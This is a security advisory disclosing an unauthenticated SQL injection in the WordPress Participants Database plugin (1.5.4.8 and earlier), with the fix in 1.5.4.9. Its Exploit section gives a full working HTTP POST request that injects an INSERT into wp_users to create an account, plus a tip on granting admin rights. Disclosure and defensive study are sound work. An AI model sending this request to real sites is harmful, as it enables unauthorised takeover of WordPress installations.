Wordpress Participants Database 1.5.4.8 - SQL Injection

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Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress

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Program: Participants Database <= 1.5.4.8

Severity: Unauthenticated attacker can fully compromise the Wordpress

installation

Permalink: http://www.yarubo.com/advisories/1

 

— Info —

 

Participants Database is a popular Wordpress plugin that offers the

functionality needed to build and maintain a database of people. As of

today the plugin has been downloaded 92,089 times.

 

— Vulnerability details —

 

1. Due to insufficient privilege checks it is possible for anonymous

(unauthenticated) users to trigger some administrative actions If any of

the shortcodes is used (e.g. signup page).

 

2. The action "export CSV" takes a parameter called "query" that can

contain an arbitrary SQL query. This means that an unauthenticated user can

execute arbitrary SQL statements (e.g. create an admin user, read or write

files, or execute code depending on the MySQL user privileges).

 

 

— Exploit —

 

Add a user to wordpress as follows (if you want an admin user, also add

admin privileges to wp_usermeta):

 

 

POST /wordpress/pdb-signup/ HTTP/1.1

Host: www.example.com

Content-Length: 789

(…)

Content-Type: multipart/form-data;

boundary=----WebKitFormBoundaryuoACADe1C2IFWMxN

 

------WebKitFormBoundaryuoACADe1C2IFWMxN

Content-Disposition: form-data; name="action"

 

output CSV

------WebKitFormBoundaryuoACADe1C2IFWMxN

Content-Disposition: form-data; name="CSV_type"

 

participant list

------WebKitFormBoundaryuoACADe1C2IFWMxN

Content-Disposition: form-data; name="subsource"

 

participants-database

------WebKitFormBoundaryuoACADe1C2IFWMxN

Content-Disposition: form-data; name="query"

 

INSERT INTO wp_users

(ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name)

VALUES

(31337,0x74657374,0x245024425a7a59615354486f41364b693355363576772f5461473861412f475a4b31,0x59617275626f,0x7465737440746573742e636f6d,0x323031342d31312d31312030303a30303a3030,0,0x59617275626f);

 

------WebKitFormBoundaryuoACADe1C2IFWMxN

 

 

 

— Solution —

 

This issue has been fixed in version 1.5.4.9. Download the newest version

from:

 

https://wordpress.org/plugins/participants-database/

 

 

— Credit —

 

 

Yarubo Research Team

research [at] yarubo.com

 

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